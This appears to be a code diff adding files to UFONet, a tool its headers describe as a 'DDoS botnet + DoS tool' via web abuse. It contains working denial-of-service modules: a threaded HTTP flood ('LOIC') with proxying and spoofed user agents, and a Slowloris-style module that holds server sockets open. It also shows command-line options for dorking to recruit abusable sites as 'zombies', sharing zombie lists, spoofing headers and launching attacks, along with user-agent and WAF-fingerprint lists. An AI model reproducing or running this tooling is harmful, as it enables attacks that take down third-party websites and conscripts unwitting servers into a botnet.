+	return
+    // we are not finished loading zombie geoip data, let's start...
+    d=new Date
+    var lw=d.getTime()
+    error=''
+    // basic check to prevent overload - relies on AJAX_DELAY variable
+    if(last_watch < lw - AJAX_DELAY){
+	last_watch=lw
+	// loading next zombie
+	$(".ufo_error_div").load('/js/ajax.js?zombie='+btoa(unescape(encodeURIComponent(last_zombie))))
+	label=Zombies.count()+"/"+total_zombies
+	if (Zombies.count()== total_zombies)
+	    label = total_zombies
+	else
+	    if (Zombies.count() +dead_zombies.length== total_zombies){
+		label=total_zombies
+		if(dead_zombies.length>0){
+		    label=total_zombies -dead_zombies.length
+		    $('.ufo_error_div').html('<div id="ufo_error_div">To be discarded : <br/><ul>'
+					     +dead_zombies.join("<li> -")+'</ul></div>')
+		    error = "<a href='#' onclick='show_error()'> + "+dead_zombies.length+" to be discarded...</a>"
+		}
+	    }
+	$(".ufo_title_div").html('<div id="status"><center><h2><font color="red">Zombies:</font></h2><h3><font color="green" size="9px"><b>'+label+'</b></font></h3>'+error+'</center></div>');
+    }
+}
+
+// (leaflet) map initialization
+function initMap (targetdoll=false) {
+    if(map){
+	return
+    }
+    if(targetdoll){
+	doll=targetdoll
+    }
+    index = 0
+    osm_sat = L.tileLayer('http://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png')
+    map = L.map('map',{
+	minZoom: 2,
+	maxZoom: 7,
+	zoomControl:false,
+	layers: [osm_sat]
+    });
+    if (typeof latlong !== 'undefined') {
+	map.setView(latlong[index], 1)
+    }
+    else{
+	map.setView(new L.LatLng(0,0), 1)
+    }
+    osm_sat.addTo(map)
+    var baseMaps = {
+	"Sats": osm_sat,
+    }
+    //  initializing controls:
+    new L.control.layers(baseMaps, null, {collapsed:false}).addTo(map)
+    new L.Control.Zoom({position: 'topright'}).addTo(map)
+    map.scrollWheelZoom.disable()
+    map.addControl(new UfoControlClass())
+    $('.ufo_msg_div').html("<h2 style='text-align:right'>Map Console <a href=\"#\" id='showMsg'>[+]</a> <a href=\"#\" id='hideMsg'>[-]</a></h2><div id='ufomsg'>[Info] Locating zombies. Please wait...<br/><br/></div><div id='ufomsg_last'>[Info] Locating zombies. Please wait...<br/></div>")
+    map.addControl(new UfoTitleClass())
+    $(".ufo_title_div").html('<div id="status"><h2><font color="red">Zombies:</font></h2><center><h3><font color="green" size="9px"><b>'+total_zombies+'</b></font></h3></center></div>');
+    map.addControl(new UfoErrorClass())
+    $('.ufo_error_div').hide()
+    map.addControl(new UfoStatClass())
+    $('.ufo_stat_div').html("<h2 style='text-align:right'>Last Statistics <a href=\"#\" id='showStat'>[+]</a> <a href=\"#\" id='hideStat'>[-]</a></h2><div id='zombie_detail'></div><div id=\"ufostat\"></div>").hide()
+    $('a#showStat').hide()
+    $('a#showStat').click(function(){
+	$('a#showStat').hide()
+	$('a#hideStat').show()
+	$('#ufostat').show()
+    })
+    $('a#hideStat').click(function(){
+	$('a#hideStat').hide()
+	$('a#showStat').show()
+	$('#ufostat').hide()
+    })
+    $('a#hideMsg').hide()
+    $('#ufomsg').hide()
+    $('a#showMsg').click(function(){
+	$('a#showMsg').hide()
+	$('a#hideMsg').show()
+	$('#ufomsg').show()
+	$('#ufomsg_last').hide()
+    })
+    $('a#hideMsg').click(function(){
+	$('a#hideMsg').hide()
+	$('a#showMsg').show()
+	$('#ufomsg').hide()
+	$('#ufomsg_last').show()
+    })
+    // starting watchdog ajax request
+    window.setInterval("ufowatch()",AJAX_DELAY)
+}
+// global variables
+var Zombies = new Herd()
+var cluster = new Cluster()
+var map = false
+var last_zombie = 'None'
+var zombie_icon = false
+d=new Date
+var last_watch = d.getTime()
+var target_icon = false
+var doll = false
+var dead_zombies = new Array()
+var errdiv = false
+var hdone = false
+var zdone = false
+var total_zombies=false

+ 42 - 0
core/loic.py

@@ -0,0 +1,42 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2017/2018 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import requests, random, threading, time
+
+# UFONet DoS Web LOIC (Low Orbit Ion Cannon)
+def ionize(self, target, proxy):
+    try:
+        proxyD = { 
+              "http"  : proxy, 
+            }
+        self.user_agent = random.choice(self.agents).strip()
+        headers = {'User-Agent': str(self.user_agent)}
+        requests.get(target, headers=headers, proxies=proxyD, verify=False)
+        print "[Info] Firing 'pulse' from: LOIC -> Status: HIT!"
+    except:
+        print("[Error] LOIC is failing to engage. Is still target online?...")
+        pass
+
+class LOIC(object):
+    def __init__(self):
+        self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
+        self.agents = []
+        f = open(self.agents_file)
+        agents = f.readlines()
+        f.close()
+        for agent in agents:
+            self.agents.append(agent)
+
+    def attacking(self, target, requests, proxy):
+        print "\n[Info] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , requests, "pulses ]\n"
+        for i in range(0, int(requests)): 
+            t = threading.Thread(target=ionize, args=(self, target, proxy)) # attack with LOIC using threading
+            t.daemon = True
+            t.start()
+            time.sleep(1)

+ 71 - 0
core/loris.py

@@ -0,0 +1,71 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2018 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import time, sys, threading, socket, random, ssl
+
+# UFONet Slow HTTP requests (UFOLoris)
+def setupSocket(self, ip, port, method):
+    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    sock.settimeout(6)
+    if port == "443":
+        ss = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1)
+        ss.connect((ip, port))
+    else:
+        sock.connect((ip, port))
+    if method == "GET":
+        sock.send("GET / \r\n".encode("utf-8"))
+    else:
+        sock.send("POST / \r\n".encode("utf-8"))
+    return sock
+
+def tractor(self, ip, port, requests): 
+    for i in range(requests): 
+        try:
+            method = 'GET'
+            sock = setupSocket(self, ip, port, method)
+            print "[Info] Firing 'tractor' beam from: LORIS -> Status: CONNECTED! -> 'Keeping socket open in time...'"
+        except socket.error:
+            break
+        self.sockets.append(sock)
+    while True: # try to abuse HTTP Headers
+        for sock in list(self.sockets):
+            try: 
+                # "Verb Tunneling Abuse" -> [RFC2616]
+                method = 'POST' 
+                sock.send("X-HTTP-Method: {}\r\n".format('PUT').encode("utf-8"))
+            except socket.error:
+                self.sockets.remove(sock)
+        for i in range(requests - len(self.sockets)):
+            print("[Info] Re-opening closed LORIS 'tractor' beam -> Status: RE-LINKED!")
+            try:
+                method = 'GET'
+                sock = setupSocket(self, ip, port, method)
+                if sock:
+                    self.sockets.append(sock)
+            except socket.error:
+                break
+        time.sleep(10)
+
+class LORIS(object):
+    def __init__(self):
+        self.sockets = []
+
+    def attacking(self, target, requests):
+        print "\n[Info] Slow HTTP requests (LORIS) is ready to fire: [" , requests, "tractor beams ]\n"
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            port = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            port = 443
+        ip = socket.gethostbyname(target)
+        t = threading.Thread(target=tractor, args=(self, ip, port, requests)) # attack with UFOLoris using threading
+        t.daemon = True
+        t.start()
+        time.sleep(10)

File diff suppressed because it is too large
+ 3028 - 0
core/main.py


+ 168 - 0
core/options.py

@@ -0,0 +1,168 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import optparse
+
+class UFONetOptions(optparse.OptionParser):
+    def __init__(self, *args):
+        self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies'
+        self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens'
+        self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids'
+        self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs'
+        self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
+        self.dorks_file = "botnet/dorks.txt" # set source path to retrieve 'dorks'
+        self.zombies = int(self.extract_zombies())
+        self.aliens = int(self.extract_aliens())
+        self.droids = int(self.extract_droids())
+        self.ucavs = int(self.extract_ucavs())
+        self.rpcs = int(self.extract_rpcs())
+        self.dorks = int(self.extract_dorks())
+        self.total_botnet = str(self.zombies+self.aliens+self.droids+self.ucavs+self.rpcs)
+        optparse.OptionParser.__init__(self, 
+                           description='\nUFONet - (DDoS botnet + DoS tool) via Web Abuse - by psy',
+                           prog='./ufonet',
+                           version='\nCode: v1.0 - TachY0n!\n')
+        self.add_option("-v", "--verbose", action="store_true", dest="verbose", help="active verbose on requests")
+        self.add_option("--update", action="store_true", dest="update", help="check for latest stable version")
+        self.add_option("--check-tor", action="store_true", dest="checktor", help="check to see if Tor is used properly")
+        #self.add_option("--force-ssl", action="store_true", dest="forcessl", help="force usage of SSL/HTTPS requests")
+        self.add_option("--force-yes", action="store_true", dest="forceyes", help="set 'YES' to all questions")
+        self.add_option("--gui", action="store_true", dest="web", help="run GUI (UFONet Web Interface)")
+        group8 = optparse.OptionGroup(self, "*Tools*")
+        group8.add_option("--crypter", action="store_true", dest="cryptomsg", help="Encrypt/Decrypt messages using AES256+HMAC-SHA1")
+        self.add_option_group(group8)
+        group1 = optparse.OptionGroup(self, "*Configure Request(s)*")
+        group1.add_option("--proxy", action="store", dest="proxy", help="Use proxy server (tor: 'http://127.0.0.1:8118')")
+        group1.add_option("--user-agent", action="store", dest="agent", help="Use another HTTP User-Agent header (default SPOOFED)")
+        group1.add_option("--referer", action="store", dest="referer", help="Use another HTTP Referer header (default SPOOFED)")
+        group1.add_option("--host", action="store", dest="host", help="Use another HTTP Host header (default NONE)")
+        group1.add_option("--xforw", action="store_true", dest="xforw", help="Set your HTTP X-Forwarded-For with random IP values")
+        group1.add_option("--xclient", action="store_true", dest="xclient", help="Set your HTTP X-Client-IP with random IP values")
+        group1.add_option("--timeout", action="store", dest="timeout", type="int", help="Select your timeout (default 10)")
+        group1.add_option("--retries", action="store", dest="retries", type="int", help="Retries when the connection timeouts (default 1)")
+        group1.add_option("--threads", action="store", dest="threads", type="int", help="Maximum number of concurrent HTTP requests (default 5)") 
+        group1.add_option("--delay", action="store", dest="delay", type="int", help="Delay in seconds between each HTTP request (default 0)")
+        self.add_option_group(group1)
+        group2 = optparse.OptionGroup(self, "*Search for 'Zombies'*")
+        group2.add_option("-s", action="store", dest="search", help="Search from a 'dork' (ex: -s 'proxy.php?url=')")
+        group2.add_option("--sd", action="store", dest="dorks", help="Search from 'dorks' file (ex: --sd 'botnet/dorks.txt')")
+        group2.add_option("--sn", action="store", dest="num_results", help="Set max number of results for engine (default 10)")
+        group2.add_option("--se", action="store", dest="engine", help="Search engine to use for 'dorking' (default Yahoo)")
+        group2.add_option("--sa", action="store_true", dest="allengines", help="Search massively using all search engines")
+        group2.add_option("--auto-search", action="store_true", dest="autosearch", help="Search automatically for 'zombies' (may take time!)")
+        self.add_option_group(group2)
+        group3 = optparse.OptionGroup(self, "*Test Botnet*")
+        group3.add_option("--test-offline", action="store_true", dest="testoffline", help="Fast check to discard offline bots")
+        group3.add_option("--test-all", action="store_true", dest="testall", help="Update ALL botnet status (may take time!)")
+        group3.add_option("-t", action="store", dest="test", help="Update 'zombies' status (ex: -t 'botnet/zombies.txt')")
+        group3.add_option("--test-rpc", action="store_true", dest="testrpc", help="Update 'xml-rpc' reflectors status")
+        group3.add_option("--attack-me", action="store_true", dest="attackme", help="Order 'zombies' to attack you (NAT required!)")
+        self.add_option_group(group3)
+        group4 = optparse.OptionGroup(self, "*Community*")
+        group4.add_option("--download-zombies", action="store_true", dest="download", help="Download 'zombies' from Community server")
+        group4.add_option("--upload-zombies", action="store_true", dest="upload", help="Upload your 'zombies' to Community server")
+        group4.add_option("--blackhole", action="store_true", dest="blackhole", help="Create a 'blackhole' to share your 'zombies'")
+        group4.add_option("--up-to", action="store", dest="upip", help="Upload your 'zombies' to a 'blackhole'")
+        group4.add_option("--down-from", action="store", dest="dip", help="Download your 'zombies' from a 'blackhole'")
+        self.add_option_group(group4)
+        group5 = optparse.OptionGroup(self, "*Research Target*")
+        group5.add_option("-i", action="store", dest="inspect", help="Search biggest file (ex: -i 'http(s)://target.com')")
+        group5.add_option("-x", action="store", dest="abduction", help="Examine webserver configuration (+CVE, +WAF detection)")
+        self.add_option_group(group5)
+        group7 = optparse.OptionGroup(self, "*Extra Attack(s)*")
+        group7.add_option("--db", action="store", dest="dbstress", help="Set db stress input point (ex: --db 'search.php?q=')")
+        group7.add_option("--loic", action="store", dest="loic", help="Start 'DoS' Web LOIC attack (ex: --loic 100)")
+        group7.add_option("--slow", action="store", dest="slow", help="Start 'DoS' Slow HTTP requests attack (ex: --slow 100)")
+        self.add_option_group(group7)
+        group6 = optparse.OptionGroup(self, "*Configure Attack(s)*")
+        group6.add_option("--no-head", action="store_true", dest="disablehead", help="Disable status check: 'Is target up?'")
+        group6.add_option("--no-aliens", action="store_true", dest="disablealiens", help="Disable 'aliens' web abuse")
+        group6.add_option("--no-droids", action="store_true", dest="disabledroids", help="Disable 'droids' redirectors")
+        group6.add_option("--no-ucavs", action="store_true", dest="disableisup", help="Disable 'ucavs' checkers")
+        group6.add_option("--no-rpcs", action="store_true", dest="disablerpcs", help="Disable 'xml-rpcs' reflectors")
+        group6.add_option("-r", action="store", dest="rounds", help="Set number of rounds (default 1)")
+        group6.add_option("-b", action="store", dest="place", help="Set place to attack (ex: -b '/path/big.jpg')")
+        group6.add_option("-a", action="store", dest="target", help="Start 'DDoS' attack (ex: -a 'http(s)://target.com')")
+        self.add_option_group(group6)
+
+    def extract_zombies(self):
+        try:
+            f = open(self.zombies_file)
+            zombies = len(f.readlines())
+            f.close()
+        except:
+            zombies = "broken!"
+        return zombies
+
+    def extract_aliens(self):
+        try:
+            f = open(self.aliens_file)
+            aliens = len(f.readlines())
+            f.close()
+        except:
+            aliens = "broken!"
+        return aliens
+
+    def extract_droids(self):
+        try:
+            f = open(self.droids_file)
+            droids = len(f.readlines())
+            f.close()
+        except:
+            droids = "broken!"
+        return droids
+
+    def extract_ucavs(self):
+        try:
+            f = open(self.ucavs_file)
+            ucavs = len(f.readlines())
+            f.close()
+        except:
+            ucavs = "broken!"
+        return ucavs
+
+    def extract_rpcs(self):
+        try:
+            f = open(self.rpcs_file)
+            rpcs = len(f.readlines())
+            f.close()
+        except:
+            rpcs = "broken!"
+        return rpcs
+
+    def extract_dorks(self):
+        try:
+            f = open(self.dorks_file)
+            dorks = len(f.readlines())
+            f.close()
+        except:
+            dorks = "broken!"
+        return dorks
+
+    def get_options(self, user_args=None):
+        (options, args) = self.parse_args(user_args)
+        if (not options.test and not options.testrpc and not options.target and not options.checktor and not options.search and not options.dorks and not options.inspect and not options.abduction and not options.update and not options.download and not options.upload and not options.web and not options.attackme and not options.upip and not options.dip and not options.blackhole and not options.cryptomsg and not options.autosearch and not options.testoffline and not options.testall):
+            print '='*75, "\n"
+            print "888     888 8888888888 .d88888b.  888b    888          888    "   
+            print "888     888 888        d88P" "Y888b  8888b   888          888    "
+            print "888     888 888       888     888 88888b  888          888    "
+            print "888     888 8888888   888     888 888Y88b 888  .d88b.  888888 "
+            print "888     888 888       888     888 888 Y88b888 d8P  Y8b 888    "
+            print "888     888 888       888     888 888  Y88888 88888888 888    "
+            print "Y88b. .d88P 888       Y88b. .d88P 888   Y8888 Y8b.     Y88b.  "
+            print " 'Y88888P'  888        'Y88888P'  888    Y888  'Y8888   'Y8888"                                 
+            print self.description, "\n"
+            print '='*75 + "\n"
+            print 'Bots:', self.total_botnet, "= [ Z:" + str(self.zombies) + " + A:" + str(self.aliens) + " + D:" + str(self.droids) + " + U:" + str(self.ucavs) + " + R:" + str(self.rpcs) + " ] - Dorks:", self.dorks, "\n"
+            print '='*75, "\n"
+            print "-> For HELP use: -h or --help"
+            print "\n-> For WEB interface use: --gui\n"
+            print '='*75, "\n"
+            return False
+        return options

+ 23 - 0
core/randomip.py

@@ -0,0 +1,23 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+from random import randrange
+
+class RandomIP(object):
+    """
+    Class to generate random valid IP's
+    """
+    def _generateip(self, string):
+        notvalid = [10, 127, 169, 172, 192]
+        first = randrange(1, 256)
+        while first is notvalid:
+            first = randrange(1, 256)
+        _ip = ".".join([str(first), str(randrange(1, 256)),
+        str(randrange(1, 256)), str(randrange(1, 256))])
+        return _ip

+ 101 - 0
core/txt/motherships.txt

@@ -0,0 +1,101 @@
+Avalon
+Cruiser
+Darkstar
+Morgana
+Sweetcandy
+Io
+Grace Hooper
+Lain
+Manhattan
+Skywalker
+Defender
+Mp19
+Casiopea
+Orion
+Pluto
+Iku
+Cosmic banana
+Lucio
+Gladio
+Scala
+Marauder
+Saturn
+Pulse
+Gamma ray
+Leviathan
+Irkä
+Ada Lovelace
+Hale bopp
+KIC8462852
+Cygnus
+Lyra
+Space riot
+N3XUS
+Joan Clarke
+Gotomah
+Planet squater
+Tyranna
+M.Hamilton
+CTB37A
+Gallo
+Süka
+ChoKolate
+Rävva
+S5 0014+81
+Antliafa
+EBLMJ0555-57Ab
+Lorea
+S.Karen
+Dakar
+Leo
+Taxidea
+Grey rabbit
+Elianna
+Caeli
+Pygoscelis
+Vulcan
+Almagest
+Endurance
+Caedes
+Nebuchadnezzar
+Vega
+Oumuamua
+Voyager
+Discovery
+Red dwarf
+Ragnarok
+Delorean
+Jupiter
+Thunderbird
+Shuttle
+Apollo
+Serenity
+Saturn
+Cylon raider
+Vipermark
+X-FLR6
+Horizon
+Swordfish
+Irion
+Death
+Prometheus
+Fireball
+Nostromo
+Ark
+Sulaco
+Enterprise
+Autumn
+Prawn
+Eagle
+Marklar
+Justice
+Galactica
+Trimaxion
+Samus
+Gunstar
+Millenium
+Daedalus
+Tardis
+Magrathea
+Covenant
+Ganymede

+ 95 - 0
core/txt/user-agents.txt

@@ -0,0 +1,95 @@
+Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
+Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36
+Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.811.0 Safari/535.1
+Mozilla/5.0 (X11; CrOS i686 12.433.109) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.93 Safari/534.30
+Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5
+Mozilla/5.0 (Linux; U; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13
+Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1
+Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0
+Mozilla/6.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.9 (.NET CLR 3.5.30729)
+Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9
+Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2
+Mozilla/5.0 (Windows; U; Windows NT5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5
+Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1
+Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.6) Gecko/20040207 Firefox/0.8
+Mozilla/5.0 (X11) KHTML/4.9.1 (like Gecko) Konqueror/4.9
+Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)
+Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)
+Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko
+Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
+Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0)
+Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN)
+Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
+Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)
+Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)
+Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)
+Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)
+Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)
+Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0
+Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8)
+Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Zango 10.1.181.0)
+Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
+Mozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1; SV1)
+Mozilla/5.0 (X11; Ubuntu; Linux armv7l; rv:17.0) Gecko/20100101 Firefox/17.0
+Mozilla/2.02E (Win95; U)
+Mozilla/5.0 (iPhone; U; CPU iOS 2_0 like Mac OS X; en-us)
+Mozilla/5.0 (Linux; U; Android 0.5; en-us)
+Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
+Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
+Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13
+Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
+Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
+Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)
+Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5)
+Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)
+Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Whistler/20110021 myibrow/5.0.0.0
+Mozilla/4.08 [en] (WinNT; I ;Nav)
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Oupeng/10.2.1.86910 Safari/534.30
+Mozilla/5.0 (SMART-TV; Linux; Tizen 2.3) AppleWebkit/538.1 (KHTML, like Gecko) SamsungBrowser/1.0 Safari/538.1
+myibrow/2.2 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.14) Gecko/20080001 My Internet Browser/2.2.0.0 20080913235045
+Opera/9.25 (Windows NT 6.0; U; en)
+Privoxy/1.0
+CERN-LineMode/2.15
+cg-eye interactive
+China Local Browser 2.6
+ClariaBot/1.0
+Comos/0.9_(robot@xyleme.com)
+Crawler@alexa.com
+DonutP; Windows98SE
+Dr.Web (R) online scanner: http://online.drweb.com/
+Dragonfly File Reader
+Eurobot/1.0 (http://www.ayell.eu)
+FARK.com link verifier
+FavIconizer
+Feliz - Mixcat Crawler (+http://mixcat.com)
+TwitterBot (http://www.twitter.com)
+DataCha0s/2.0
+EvaalSE - bot@evaal.com
+Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)
+archive.org_bot
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
+Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
+Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
+Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
+Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
+Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
+Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
+Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0
+Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
+Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0

+ 79 - 0
core/txt/wafs.txt

@@ -0,0 +1,79 @@
+wangzhan\.360\.cn##360 Web Application Firewall (360)
+MISS##Anquanbao Web Application Firewall (Anquanbao)
+This request has been blocked by website protection from Armor##Armor Protection (Armor Defense)
+The requested URL was rejected. Please consult with your administrator##Application Security Manager (F5 Networks)
+AWS##Amazon Web Services Web Application Firewall (Amazon)
+yunjiasu-nginx##Yunjiasu Web Application Firewall (Baidu)
+barracuda##Barracuda Web Application Firewall (Barracuda Networks)
+BigIP##BIG-IP Application Security Manager (F5 Networks)
+BIGipServer##BIG-IP Application Security Manager (F5 Networks)
+ATS##BIG-IP Application Security Manager (F5 Networks)
+BlockDos#BlockDoS
+ACE XML Gateway##Cisco ACE XML Gateway (Cisco Systems)
+CloudFlare##CloudFlare Web Application Firewall (CloudFlare)
+cloudflare-nginx##CloudFlare Web Application Firewall (CloudFlare)
+cloudfront##CloudFront (Amazon)
+Protected by COMODO WAF##Comodo Web Application Firewall (Comodo)
+ACondition Intercepted##Deny All Web Application Firewall (DenyAll)
+DOSarrest##DOSarrest (DOSarrest Internet Security)
